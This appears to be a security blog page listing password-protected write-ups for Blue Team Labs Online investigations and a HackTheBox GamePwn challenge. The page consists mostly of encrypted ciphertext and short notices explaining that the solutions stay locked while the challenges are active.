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;^

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

[Encrypted] BTLO - Investigation: Heaven

2022-03-25T16:03:42-04:00

CDnhDwynczno2H6M2XbHFg==;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;^

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

[Encrypted] HackTheBox - GamePwn Challenge: CubeMadness1

2022-03-23T16:27:08-04:00

This is currently an active challenge/machine on HackTheBox. Per their ToS, active writeups are not allowed to be shared. In order to unlock this content, you will need to provide the final flag.

[Encrypted] BTLO - Investigation: Crypto

2022-03-22T14:28:50-04:00

6GGWAA/1Ua2W6Y/Att44WA==;YyvCb5nCUuFq+njC87yELqF4GNw+jVsGH8IGWkLIbtkhMxKJp8OtTveE9utOtqPDZnAPx0PaQlsas1CHqUnJYxgDncGkMMTeir3JUILTlXixJkblpaY+bnfEaQTPGUHtbB2v29PBbCueLXX8q9V9l3cbhunVIPWhyRVa3SW0vgJ4UODi3NzPbtveMwgqRLspHDKr4NZ04CPoIXgWXBzl45zudOgamUX5A5I1wT0QFDDkT6GHK/2XuyKFSJxLZImnK4msLlaRCgmDPEXSDVpzgdsjpGYtvxFlz0WEGY41ezNqeiVi5TRpOm2ag4s2Twg/P9DbkkAE+kyTxZNkDDniF2MBs0WbKGONKkJ1u/q5wZdTA5JEeyr/Bk6qd7mYP0MDSg0NC5CTQyaSGf6B0Uuc63HOzvBB01eVSnSfa5nN7bamWFPURGvBV/qJOnbN8GYdW4HKSGwODBmrv2yd/bAjUpRCF3/dvCGieqE1AzwhhQxzPfzGw5EokBfihySlxDghWZVVWPk93SWH1Fk1i2PunZ0r0BY45iFS1VN8K7wcaoU0Pc2HtXPldE8ZxI79+fprH8Q6gI0ejvA50UsMYw/b+T+TidCsKd8TzmDnnUagypF5roqXTSXg1f8MLgisdYmh0VDsdsKcfWIfqDnWV3XE3uza1ssIAl5Oa7B68VvmkL3LDYkG2erg7Y3UDinoJ3Lmp08GFILuZ/16JB7uLRu4dOvHhFT+Q/GepNOkhoUI1fT0SPXd78vqgGeoYuRUcEFJYZfddVD+pNAgaAoJfSDbbAQcwRlELSwkrxbqyJMH4/J4o6vHZgryF7OZ+m186CeMxBjb4WRi0omn7Y5Gn7AckqvbQE30o0GX6Ze3gbL1Uwy3EsusMOF/S4uF7GJr+NDL2YF1o7fZidckhTN0FstWcDF09FTQXrQeO9HanwpGEuel7Mh0ta+rSt0nNdRkaW2BzCqYI9dDgu2rGdwYF8gs4m2D5vJLw/IpeZ/IJKMFSD9+TBy1RuX/YQFhBH6bcTAiO8eF+EjI+FeNEzl0xH0j1qJAPYN95Y1RFXb7oWrDhLaVMrhV71nOPQKZUo6CNfs0cWztESjbWIIlu2B2NCFt5Wi2M8otPtiklQk0FxYQTw9qsfeS/z9jq2trfJdjjhFl6Q5KM8QO8li+XYE7aWirCLU2cdiPb8pzRLpfcLh7PG3t5aYwnxVA7UJsnLHcZelcdFp+nnD17laubOD7MdFy9eAQwr4vs94+txylFoV3IVgcei2aqreHbzGQv9IvpT3sBMCfJNMvqf3aw03GM18nccv1WjAAc+uEH4f5Ul/eQXB3e2x1HQUAomwxcBbqK5InKnOFhAuLUHYqYCtlC0kbwhXd1HM2mlOO8hbjV46fGinsa24zPGBkgONq2/eD3Xii71hFhEIbnGriszAJB5rqjV2CNxJs5h5ABIooMpzEHr3TIFDmX7tf9r+cDOb1HKp7/qNqSNnh4z9ap23JssR5SjRxy+aFvRKczpNhoj0WLxwl/2B5LSkGvaW9TXNATSBPTXbDqCtZs/BM7EX1RWmOetIhJCaRyMnvLed1p0sFtp2ttE60yccvq0Hf55DLWxVS8G66csLz0CCHBmLsbhCYQWlCoT/rv27KvVsAhefWYqGwDHqjdm7fz6rCmSKgv/PJr7VGt6p+6o/Cdha9SYUQYMVFc4L4D3FOF1T3rbZi/KQ3jrITjN+D7GSGy7RT5briERVETd7WnYqbSLefFTPIJPtt6NSCVxER5bSNWPWY2ZAniAmewhdyDi8s7Af4GAnAlD6BtptX0N9d+XE55il6D5XClXeud93j204K7sEggW2U5FT0CWsQCBpET7xSp6CxBH1VyfotopDrSc2UThgn/Xdx8YkSbp71PrTXBMgyxCX29omUg5Jx+kfs6Xct1z6P4zvn2WsPC+P1JVClVDDOo0JCRyOcoR8p7cPab8SAYJjE5MSB0b1rXoAN9jKUNE+zauirr7XQLquzCNxogOW7afIYn0HIqwluCCYDdOwTVVRA18lQH3RINHXcXX3SE/tp0R+fo9u5nhLNoQhV07aDLBccVFiJiKNEhyTVWiMqevuzDgAfBOfyaPWctywnO/8MDEOn3SmOWvSL4NdFe3q4eI0mOjFxKCQEUYcmsNubT91eAFtIdEQ9rK1WXKL1cGPp30pnlOqK63omx+6eQ06eM8Gof5ADa7vwprV4Rh9fn2aAzAbqKr1jiHa4m44vtQICno4iLBb+tDA4o0tOptRcOnW4+doDaunUWdt69FWBoL/BS2NXkaA6S8RS+AXw0VamdrJ5zxhQwVOwFRPhbbdugvNleCIrLsIHqzY4dkpu4HDk+d8R5O/AP7b7s6WRLjqMbWZ47dVsK+W89zxDX12E+yXZKJRRbDXGX15n/Abn7eEZgQeYVNjjavpzYJASqAhoHVDNRCtwWabVgIXbdKW1AeMgmncxSD+1t6DnOqITeQJ+SB9hfIw8OPok+mB8/igOd0lPeWQtev/p3Z7iSueNF+ccThAWCqpZ5oaHQ4Vqrtb+cuYfbRcVGFnZk6vtw8Hb0jlwAi2Ienv44P+JWZciEj3CPqa0vD3nzt6UTf1T7RgCvDOLNZKBdVBopOzZ4KDhIHy3KGH4aQokK2Crl3YBV86YTXHE73MMT4XZLCHbeBKUoiMMTbvAyn1j86viMTbMLSk8IKCb5UK5no3nm693BFQweOcCVWDZMYnwUykiq3KnYON/y0TyBpTZh1Po/gO5VCsHSrZZab1ru9jN9eT6nBMVZtjGrNYc6i4Rv/nJekMJJqawI7dph8NuZY6fvHJIhCmt6gZwRN5BN2ai7yPAnkCdfL4hYfAGu+UWdgmgFXj3sFuod6h3h+gCVcW/3+Wnwzaah63MmzLNeS2k3NpJL7jWRlPu9eqvlZQP7XxDIoepJIfa01y0oBbRXnzop74O1UiHez0OemfbrGmE9J+sAl0YOVeuwSb9ZRh21rdMo3iJKtsJxkBJoWuXr74s5e00jttqA4d4F9dAIurnWMuWkPPbzAhs1mmPWgXZcVS2iT8sRXNWLYAKQqtksSL3RIYioOnSXfkgBD9mlY5LdTNd6NsXQ/R1DzSDWv9y5KH0X7YcfZZDr/c0P5jGauVvAjYixg7NktzbBH1ijQpqhmN5YmXAjVlyKPEpxiUPkw+v4PHjdMUfDyuJXMw1LvSM2mqCQp2rTmRw9EcmfW1gQyyTJSRf96+lBIzZbiChBatH2BJyqOcQtnoPTUiZXJWcVhFvj+dJytzzzpeJJXtjNaDL78iQSpvgrAPjlqMgexQnkiMssvPKYoSpEoLeNpd/Cs5Ed6IuiJGdf8Tfmucm/DuQJyxIpiyNKzkT/LMkcvdAyXejJxkP11psN065PnfTISql6Mr7Iam9xgfXsrXnAA/J7peL5Hl34cKYETfx1lYU+hrruI0IT02LNv+sH6VmKmz6kGkBWHzHca5Hfg5Ootk0uv1ecTUsdhP6Qud+azTjt1l1BPhKXmiVt4twAXP43WP8zVLFu4jNBGfeqEoZgJdyEg8ZvehCrzOVffj6Eq63BPZCdkmFxryUdgwQfsZngN8Z+niR7kfuf8rUejehpWnPJXkYr3CmSXcbDwi2p/Wz3TjEmD6R6KMsD+ZJ93xesaiDZHE2H+T/l3PqECzpaGq15bULMVOx1Ph4cJIJv8mF55E4m3RYo++7dozc05eRlmD4C8oC0L27UF9VNNd4y00obFBgb6UZkr5m2qwi8Uz1lSYR0MfO+gmmmve1oUhdMl0RFzpH3c6lxJ1R7Licol27nPLlJ5bV50K6ropryT6S+N244GXgpa5J+/FXs4Xlq2ipkN08ZzSfDSZylXNuJdD6szzbNZT4VgkLeU7/SgqprEhKZBOZmY0j2X6kbNNNfc+/uslO5AKplAqGwHXK5xHbixKpPOU1djvrqc8htPm7JXt/mRGGMC5YaZ43MCs/zRZQk421Jwq00GR68qyOns6q6MK90YNUHY+PrXuJ+TV1ShKHyZRe238lKiYrau5BJDu5Jb4i6oQhW8YuAY8bNNhSO5Xl4JOzUuLn/44xz/xFfsQ4fsZ2P5kgUfkglbRDdYvCyLmaVhF1GlO1pQnlGlwmrE9/50SXeAyD9bqxOO4LMx